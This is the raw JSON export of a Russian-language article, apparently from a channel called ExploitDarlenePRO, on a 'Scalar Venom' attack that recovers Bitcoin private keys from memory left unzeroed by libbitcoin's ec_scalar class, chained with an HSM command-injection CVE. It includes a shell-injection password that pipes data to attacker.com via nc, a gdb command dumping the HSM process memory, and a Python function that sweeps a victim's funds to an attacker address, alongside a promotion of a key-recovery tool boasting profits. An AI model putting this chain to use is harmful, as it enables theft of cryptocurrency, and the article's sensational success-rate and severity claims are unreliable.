libbitcoin-system.","type":"unstyled","key":"cmfi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уязвимость управления памятью в классе ec_scalar","type":"header-three","key":"bgdsb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":39,"offset":36,"style":"BOLD"}],"text":"Класс ec_scalar в libbitcoin-system не имеет явно определённого деструктора с безопасной очисткой памяти (secure zeroization). Это означает, что секретные данные могут оставаться в памяти даже после уничтожения объекта.","type":"unstyled","key":"r2it"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"}],"text":"Уязвимый конструктор копирования:","type":"unstyled","key":"4bu4v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":147,"offset":0,"style":"BOLD"}],"text":"// VULNERABILITY: unsafe private key copy\nec_scalar::ec_scalar(const ec_secret& secret)\n : secret_(secret) // Copies without secure cleanup\n{\n}","type":"unstyled","key":"4bqrm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Проблема: Конструктор создаёт копию приватного ключа в объекте ec_scalar, но не предоставляет механизм безопасной очистки этой копии при уничтожении объекта. Копия остаётся в стеке или куче памяти.","type":"unstyled","key":"147uv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":31,"offset":0,"style":"BOLD"}],"text":"Уязвимый оператор присваивания:","type":"unstyled","key":"4fqmg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":169,"offset":0,"style":"BOLD"}],"text":"// VULNERABILITY: duplicates secret in memory\nec_scalar& ec_scalar::operator=(const ec_secret& secret)\n{\n secret_ = secret; // More memory copies\n return *this;\n}","type":"unstyled","key":"1uihu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Проблема: Операция присваивания создаёт дополнительные копии памяти, которые остаются после завершения операции.","type":"unstyled","key":"340ao"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"}],"text":"Уязвимые арифметические операции:","type":"unstyled","key":"1vhb0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":260,"offset":0,"style":"BOLD"}],"text":"// VULNERABILITY: temporary variable not cleared before function exit\nec_scalar ec_scalar::operator-() const\n{\n ec_secret secret = null_hash; // Temporary variable with secret\n // ... arithmetic ...\n return ec_scalar(secret); // Not safely cleared\n}","type":"unstyled","key":"dam0t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Проблема: Арифметические операции (унарный минус, сложение, умножение) создают временные переменные типа ec_secret, которые не очищаются безопасно перед выходом из области видимости функции, оставляя «фантомные» копии приватного ключа в стеке или куче.","type":"unstyled","key":"juq3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":35,"offset":0,"style":"BOLD"}],"text":"Отсутствие безопасного деструктора:","type":"unstyled","key":"14nbp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":167,"offset":0,"style":"BOLD"}],"text":"// VULNERABILITY: destructor missing, memory not cleared\n// Safe solution:\n~ec_scalar() {\n secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing\n}","type":"unstyled","key":"9nmhp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Проблема: Класс ec_scalar не имеет явного деструктора, который бы гарантировал безопасное обнуление памяти, содержащей приватные ключи. Это критично, так как память, содержащая приватные ключи, может сохраняться в:","type":"unstyled","key":"92ogq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Стеке функций (локальные переменные)","type":"unordered-list-item","key":"e1lr7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Куче (динамически выделенная память)","type":"unordered-list-item","key":"9airn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Регистрах процессора (временные значения)","type":"unordered-list-item","key":"1et8a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Кэше процессора (L1, L2, L3)","type":"unordered-list-item","key":"8cn2a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Файлах подкачки (swap)","type":"unordered-list-item","key":"1nm49"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Дампах памяти при аварийном завершении (core dumps)","type":"unordered-list-item","key":"6m4kt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Векторы инфицирования памяти («Infection Vectors»)","type":"header-three","key":"a500f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уязвимый код класса ec_scalar создаёт следующие векторы инфицирования памяти приватными ключами:","type":"unstyled","key":"e05be"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"}],"text":"«Вампирский конструктор» (secret_(secret)) — создаёт ядовитые копии ключей","type":"ordered-list-item","key":"at1dn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"«Паразитический оператор» (secret_ = secret) — инфицирует память дубликатами секретов","type":"ordered-list-item","key":"8kist"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":0,"style":"BOLD"}],"text":"«Арифметический червь» (ec_secret secret = null_hash) — оставляет токсичные следы","type":"ordered-list-item","key":"6mjeq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"}],"text":"«Распространитель инфекции» (auto out = secret_) — распространяет инфекцию через операции","type":"ordered-list-item","key":"9ak7e"},{"data":{"image":{"id":"691c2d9cddb2393c95108b22"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"c78pq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Механизм компрометации: цепочка атаки CVE-2025-60013 + Scalar Venom","type":"header-two","key":"amp8o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":104,"offset":0,"style":"ITALIC"}],"text":"Совмещение уязвимости HSM (CVE-2025-60013) с атакой Scalar Venom создаёт катастрофический вектор атаки:","type":"unstyled","key":"iqtv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Фаза 1: Инициализация HSM с shell-метасимволами","type":"header-three","key":"dfhkk"},{"data":{},"depth":0,"entityRanges":[{"key":24,"length":10,"offset":153}],"inlineStyleRanges":[],"text":"Злоумышленник, имеющий привилегированный доступ к системе F5OS-A, отправляет запрос на инициализацию FIPS модуля с паролем, содержащим shell-метасимволы:cert.kenet","type":"unstyled","key":"frj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":85,"offset":0,"style":"BOLD"}],"text":"# CVE-2025-60013 exploit example\npassword='$(echo \"leaked\");` | nc attacker.com 9999'","type":"unstyled","key":"1ej4t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"При обработке таких метасимволов происходит следующее:","type":"unstyled","key":"4mgfg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Процесс инициализации HSM создаёт временные криптографические скаляры (мастер-ключи)","type":"unordered-list-item","key":"6ehni"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Shell-метасимволы вызывают ошибку парсинга пароля","type":"unordered-list-item","key":"cbm2r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Инициализация HSM частично завершается с ошибкой","type":"unordered-list-item","key":"3gerr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"},{"length":11,"offset":140,"style":"BOLD"}],"text":"Критическое последствие: временные криптографические структуры, содержащие мастер-ключи HSM и производные ключи, остаются в памяти процесса без очистки","type":"unordered-list-item","key":"1oavr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Фаза 2: Извлечение Scalar Venom из памяти HSM","type":"header-three","key":"cr2jl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После частичного отказа HSM в инициализации злоумышленник получает дамп памяти процесса HSM через один из следующих методов:","type":"unstyled","key":"en44m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":239,"offset":0,"style":"BOLD"}],"text":"# 1. CVE-2025-60013 exploitation (init error trigger)\n# 2. Cold-boot attack on HSM host\n# 3. Exploit buffer in HSM daemon\n# 4. Analyze crash core-dump\n\ngdb -p $(pidof f5os-hsm) -batch -ex \"dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF\"","type":"unstyled","key":"cdb6h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Полученный дамп памяти содержит множественные «фантомные» копии приватных ключей, оставленные классом ec_scalar во время криптографических операций.","type":"unstyled","key":"ddos"},{"data":{},"depth":0,"entityRanges":[{"key":25,"length":64,"offset":0}],"inlineStyleRanges":[],"text":"Фаза 3: Восстановление приватных ключей Bitcoin через BitScanPro","type":"header-three","key":"8cjg4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":40,"style":"BOLD"},{"length":40,"offset":51,"style":"ITALIC"}],"text":"Дамп памяти обрабатывается инструментом BitScanPro (или аналогичным форензическим сканером) согласно алгоритму, описанному выше:","type":"unstyled","key":"7daot"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":142,"offset":0,"style":"BOLD"}],"text":"Memory Scan → Identify High-Entropy Regions →\nRange Check [1, n-1] for secp256k1 →\nRecover Full 32-byte Scalars →\nConvert to Bitcoin Addresses","type":"unstyled","key":"7ak7d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":53,"offset":0,"style":"BOLD"},{"length":6,"offset":93,"style":"BOLD"},{"length":19,"offset":192,"style":"BOLD"}],"text":"Вероятность успешного восстановления приватного ключа из фрагментированной памяти составляет 70-80% при наличии достаточного количества остатков в памяти, поскольку атака Scalar Venom создаёт множественные копии ключа на разных этапах инициализации.","type":"unstyled","key":"ndd4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Фаза 4: Перевод средств и компрометация кошелька","type":"header-three","key":"ffg81"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После восстановления приватного ключа злоумышленник создаёт и подписывает транзакцию для вывода всех средств с скомпрометированного адреса:","type":"unstyled","key":"f3joo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":505,"offset":0,"style":"BOLD"}],"text":"def compromise_wallet(recovered_private_key, bitcoin_address):\n \"\"\"\n Create and sign transaction to withdraw all funds\n from compromised address\n \"\"\"\n utxos = blockchain_api.get_utxos(bitcoin_address)\n tx = create_transaction(\n inputs=utxos,\n outputs=[{\"address\": attacker_address, \"amount\": sum(utxo.amount)}],\n fee=calculate_dynamic_fee()\n )\n tx.sign(recovered_private_key) # ECDSA signature with compromised key\n blockchain_api.broadcast_transaction(tx)","type":"unstyled","key":"eah61"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":29,"offset":0,"style":"BOLD"}],"text":"Итоговое время компрометации: менее 10 минут от получения дампа памяти до полной потери контроля над средствами жертвы.","type":"unstyled","key":"8co7r"},{"data":{"embedData":{"type":"yandex-zen-video","uuid":"oukaIm9UJAAA","previewImageData":{"id":"69100c156f9bcc2e545bf6e8","groupId":271828,"imageName":"pub_69100af30f131a54ef541d34_69100c156f9bcc2e545bf6e8","namespace":"zen_doc","meta":{"mainColor":"#101030","origFormat":"PNG"}},"contentType":"gif","publisherId":"6757877e5e70d71ffd71c58e","publisherItemId":"2359411017649951344","publicationId":"69100af30f131a54ef541d34","publisherName":"ExploitDarlenePRO","publisherAvatar":{"id":"67578a4feb81cf49dc3a3f87","groupId":271828,"imageName":"pub_6757877e5e70d71ffd71c58e_67578a4feb81cf49dc3a3f87","namespace":"zen-logos","meta":{"mainColor":"#0050A0","origFormat":"PNG"}},"isPublisherVerified":false,"publishTime":1762659408141,"title":"BitScanPro [PROFIT: $ 121,585] - Advanced Bitcoin Forensics, Transaction Analysis & Security Research Platform","duration":620000,"isPremium":false,"customParams":{"signed_url":"kaQ3eYCXbYrBQ8tNuRon1BTNCi6VEFDXvFHd1XZFqyooZpiKP8zS6aAdyIiClO3ryIgUb21UUmc"}}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:embed","key":"2dega"},{"data":{"embedData":{"type":"youtube","postUrl":"https://www.youtube.com/embed/2_d8-8-J8IQ"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:embed","key":"1jq3a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"dlt1j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Влияние атаки на криптоиндустрию","type":"header-two","key":"75vlf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":68,"style":"BOLD"}],"text":"Scalar Venom Attack в сочетании с CVE-2025-60013 представляет собой экзистенциальную угрозу для глобальной экосистемы Bitcoin:","type":"unstyled","key":"da71j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Системные последствия","type":"header-three","key":"skkv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":38,"offset":0,"style":"BOLD"}],"text":"Полная компрометация приватных ключей: атака обеспечивает полное извлечение ключей через утечку памяти, обходя даже передовые модули аппаратной безопасности","type":"ordered-list-item","key":"ca0r2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":0,"style":"BOLD"}],"text":"Необратимая компрометация: однажды извлечённый приватный ключ невозможно «отозвать» или восстановить безопасность; все зависимые средства находятся под неизбежной угрозой потери","type":"ordered-list-item","key":"au0vq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"}],"text":"Масштабируемость и автоматизация: атака может быть автоматизирована для поражения огромного количества Bitcoin-узлов и кошельков одновременно, приводя к экспоненциальному увеличению потенциальных убытков","type":"ordered-list-item","key":"23n14"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":0,"style":"BOLD"}],"text":"Стелс-характер: атака не оставляет видимых следов в системных логах или метриках производительности, делая традиционные механизмы обнаружения и защиты недостаточными","type":"ordered-list-item","key":"f8nno"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"8j5p6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Влияние на HSM-инфраструктуру","type":"header-three","key":"24nd7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":29,"offset":99,"style":"BOLD"}],"text":"В отличие от стандартных Bitcoin-приложений, HSM интенсивно используют криптографические скаляры — более 1000 операций в секунду, каждая из которых создаёт эфемерные значения скаляров, остающиеся в памяти в виде «фантомных остатков». HSM работают месяцами и годами без перезапуска, накапливая криптографические артефакты, которые Scalar Venom системно извлекает и восстанавливает.","type":"unstyled","key":"6df71"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":69,"offset":0,"style":"BOLD"}],"text":"Компрометация одного HSM ведёт к тотальному срыву всей инфраструктуры — зачастую тысяч Bitcoin-адресов, находящихся в управлении HSM, а не к изолированному криптографическому инциденту.","type":"unstyled","key":"23c2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":122,"offset":100,"style":"BOLD"}],"text":"Scalar Venom Attack демонстрирует фундаментальный сдвиг парадигмы в криптографической безопасности: математическая стойкость криптографических алгоритмов оказывается бесполезной при наличии уязвимостей в управлении памятью. Комбинация CVE-2025-60013 с техниками Scalar Venom создаёт критический сценарий угрозы уровня CVSS 9.5+, подрывающий доверие к аппаратным модулям безопасности как к непроницаемой защите криптографических ключей.","type":"unstyled","key":"382u0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":37,"offset":268,"style":"BOLD"}],"text":"Реальный инцидент Milk Sad (CVE-2023-39910) с восстановлением более 900,000 приватных ключей и финансовыми потерями свыше $0.8 миллиона подтверждает переход теории об утечках памяти к операционной реальности. Единственный путь защиты от атак класса Scalar Venom — это фундаментальная архитектурная реформа криптографических систем с внедрением:","type":"unstyled","key":"ovlu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Языков программирования с гарантией безопасности памяти (memory-safe languages) таких как Rust","type":"unordered-list-item","key":"2fl5o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Аппаратной защиты памяти (Intel SGX, ARM TrustZone)","type":"unordered-list-item","key":"4h9ss"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RAII-паттернов (Resource Acquisition Is Initialization) для автоматической очистки памяти","type":"unordered-list-item","key":"9er31"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Постоянного форензического мониторинга памяти криптографических процессов","type":"unordered-list-item","key":"8fqau"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Компиляторных гарантий для обязательной зероизации (zeroization) криптографических секретов","type":"unordered-list-item","key":"7m0ba"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Настоящая работа представляет собой комплексный анализ цепочки атак Scalar Venom + CVE-2025-60013 с подробным описанием математических основ, алгоритмов криптоанализа, реальных примеров восстановления ключей и практических рекомендаций для защиты Bitcoin-инфраструктуры от этого класса угроз.","type":"unstyled","key":"3mspl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Криптоанализ и выбор атаки: Scalar Venom Attack как критическая уязвимость для извлечения приватных ключей Bitcoin","type":"header-two","key":"6v3h0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":37,"offset":0,"style":"BOLD"}],"text":"1. Криптоаналитическая классификация:","type":"unstyled","key":"69h3m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":31,"style":"BOLD"}],"text":"Позиционирует Scalar Venom как Sensitive Memory Leak Attack (SMA) в контексте классической криптоанализа","type":"unordered-list-item","key":"aoa5b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сравнивает традиционные криптографические атаки с имплементационными уязвимостями","type":"unordered-list-item","key":"3b1e1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Демонстрирует, почему математическая стойкость (2^128) становится бесполезной при отказе управления памятью (2^0)","type":"unordered-list-item","key":"6uq25"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"2. Математические основы:","type":"unstyled","key":"7cor4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Формализирует ECDLP (Elliptic Curve Discrete Logarithm Problem) для secp256k1","type":"unordered-list-item","key":"ipj4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Объясняет скалярное умножение и вывод публичного ключа","type":"unordered-list-item","key":"fc8e9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Анализирует энтропию Шеннона как детектор приватных ключей в памяти","type":"unordered-list-item","key":"5bl5v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":45,"offset":0,"style":"BOLD"}],"text":"3. Уязвимости реализации (libbitcoin-system):","type":"unstyled","key":"1l501"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Документирует отсутствие безопасного деструктора в ec_scalar","type":"unordered-list-item","key":"2h3ri"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Показывает уязвимые конструкторы копирования","type":"unordered-list-item","key":"d1277"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Демонстрирует утечки в арифметических операциях","type":"unordered-list-item","key":"av44s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"4. Классификация CVE:","type":"unstyled","key":"1ob8s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"CVE-2023-39910: Слабость энтропии (Milk Sad инцидент)","type":"unordered-list-item","key":"7u07r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"CVE-2025-8217: Атака утечки памяти","type":"unordered-list-item","key":"6fre6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"CVE-2025-60013: Инъекция команд HSM","type":"unordered-list-item","key":"vdc4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":16,"offset":0,"style":"BOLD"}],"text":"5. Цепочка атак:","type":"unstyled","key":"bar51"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Описывает четыре фазы компрометации","type":"unordered-list-item","key":"5rgvr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обосновывает временные характеристики (< 10 минут)","type":"unordered-list-item","key":"416is"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Проводит криптоаналитическое обоснование каждого этапа","type":"unordered-list-item","key":"5jqso"},{"data":{},"depth":0,"entityRanges":[{"key":26,"length":216,"offset":29},{"key":27,"length":10,"offset":539}],"inlineStyleRanges":[{"length":550,"offset":0,"style":"ITALIC"}],"text":"Научное объяснение в статье: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ Scalar Venom Attack демонстрирует критическое взаимодействие между уязвимостями инициализации HSM и уязвимостями управления памятью в криптографических библиотеках, что позволяет злоумышленнику полностью скомпрометировать приватные ключи Bitcoin-кошельков даже при защите на аппаратном уровне.keyhunters","type":"blockquote","key":"ffsdf"},{"data":{"image":{"id":"691c2de47d511d6c8bb5934b"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"5mqi1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1. Анализ атаки: Scalar Venom Attack","type":"header-two","key":"3gltd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1.1 Определение и классификация","type":"header-three","key":"6s5e8"},{"data":{},"depth":0,"entityRanges":[{"key":28,"length":12,"offset":408}],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"},{"length":55,"offset":149,"style":"BOLD"}],"text":"Scalar Venom Attack (также известная как Scalar Poison, Memory Phantom Leak Attack или Private Key Compromise via Memory Leakage) представляет собой класс уязвимостей управления памятью (CWE-415, CWE-401), которая позволяет извлечь криптографические скаляры (приватные ключи ECDSA) из оперативной памяти процесса путём эксплуатации недостаточной санитизации и очистки памяти после криптографических операций.keyhunters+2","type":"unstyled","key":"fgihl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"ITALIC"}],"text":"Научная классификация атаки:","type":"unstyled","key":"1e8cb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"}],"text":"Тип уязвимости: Sensitive Memory Leak Attack (Атака утечки чувствительных данных из памяти)","type":"unordered-list-item","key":"3r1ts"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":18,"offset":0,"style":"BOLD"}],"text":"CVE идентификаторы: CVE-2023-39910, CVE-2025-8217","type":"unordered-list-item","key":"2a99g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Категория: Continual Memory Leakage Attack (CMLA)","type":"unordered-list-item","key":"c4so7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":0,"style":"BOLD"}],"text":"Класс воздействия: Private Key Disclosure, Cryptographic Key Compromise","type":"unordered-list-item","key":"el1j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1.2 Механизм действия атаки","type":"header-three","key":"2l9qp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Scalar Venom Attack эксплуатирует фундаментальный недостаток в управлении памятью криптографических библиотек, в частности в классе ec_scalar библиотеки libbitcoin-system. Атака действует через следующие векторы:","type":"unstyled","key":"4f0mk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вектор конструктора копирования","type":"header-three","key":"7vlt4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":0,"style":"BOLD"}],"text":"cpp:","type":"unstyled","key":"5kk6u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":112,"offset":0,"style":"BOLD"},{"length":44,"offset":65,"style":"ITALIC"}],"text":"ec_scalar::ec_scalar(const ec_secret& secret)\n: secret_(secret) // VULNERABLE: unsafe copying of private key\n{}","type":"unstyled","key":"9pt2j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вектор оператора присваивания","type":"header-three","key":"4f1kt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":0,"style":"BOLD"}],"text":"cpp:","type":"unstyled","key":"adoce"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":153,"offset":0,"style":"BOLD"},{"length":51,"offset":82,"style":"ITALIC"}],"text":"ec_scalar& ec_scalar::operator=(const ec_secret& secret)\n{\n secret_ = secret; // VULNERABLE: infects memory with duplicate secret\n return *this;\n}","type":"unstyled","key":"a6pmk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вектор временных переменных","type":"header-three","key":"evm1t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":0,"style":"BOLD"}],"text":"cpp:","type":"unstyled","key":"dr9gn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":168,"offset":0,"style":"BOLD"}],"text":"// VULNERABLE: no destructor, memory not cleaned\n// Secure option should be:\n~ec_scalar() {\n secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup\n}","type":"unstyled","key":"cnerj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":0,"style":"BOLD"}],"text":"cpp:","type":"unstyled","key":"6s8t2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":173,"offset":0,"style":"BOLD"}],"text":"// VULNERABLE: no destructor, memory not cleared\n// The safe option should have been:\n~ec_scalar() {\nsecure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing\n}","type":"unstyled","key":"6udif"},{"data":{},"depth":0,"entityRanges":[{"key":29,"length":10,"offset":242}],"inlineStyleRanges":[],"text":"Арифметические операции (унарный минус, сложение, умножение) создают временные переменные типа ec_secret, которые не очищаются безопасно перед выходом из области видимости функции, оставляя «фантомные» копии приватного ключа в стеке или куче.keyhunters","type":"unstyled","key":"2unmo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1.3 Критическая уязвимость: отсутствие явного деструктора","type":"header-three","key":"50l8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":39,"offset":36,"style":"BOLD"}],"text":"Класс ec_scalar в libbitcoin-system не имеет явно определённого деструктора с безопасной очисткой памяти (secure zeroization). Это означает, что секретные данные могут оставаться в памяти даже после уничтожения объекта:","type":"unstyled","key":"2jmgk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"2emoc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Отсутствие этого механизма критично, так как память, содержащая приватные ключи, может сохраняться в:","type":"unstyled","key":"cvo3v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"}],"text":"Кучах памяти (Heap) процесса","type":"unordered-list-item","key":"8icpg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"Стеках памяти (Stack) функций","type":"unordered-list-item","key":"fppcv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":0,"style":"BOLD"}],"text":"Файлах обмена (Swap files) операционной системы","type":"unordered-list-item","key":"7cabq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"Core dumps при падении приложения","type":"unordered-list-item","key":"2lg8h"},{"data":{},"depth":0,"entityRanges":[{"key":30,"length":6,"offset":70}],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"}],"text":"Оперативной памяти (RAM) после завершения процесса (cold-boot attacks)gemini","type":"unordered-list-item","key":"epjpn"},{"data":{"image":{"id":"691c2de42e197773b075c0ad"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"3s1d7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"2. Взаимосвязь между HSM-уязвимостью и Scalar Venom Attack","type":"header-two","key":"5tel3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"2.1 Анализ CVE-2025-60013: инициализация HSM с 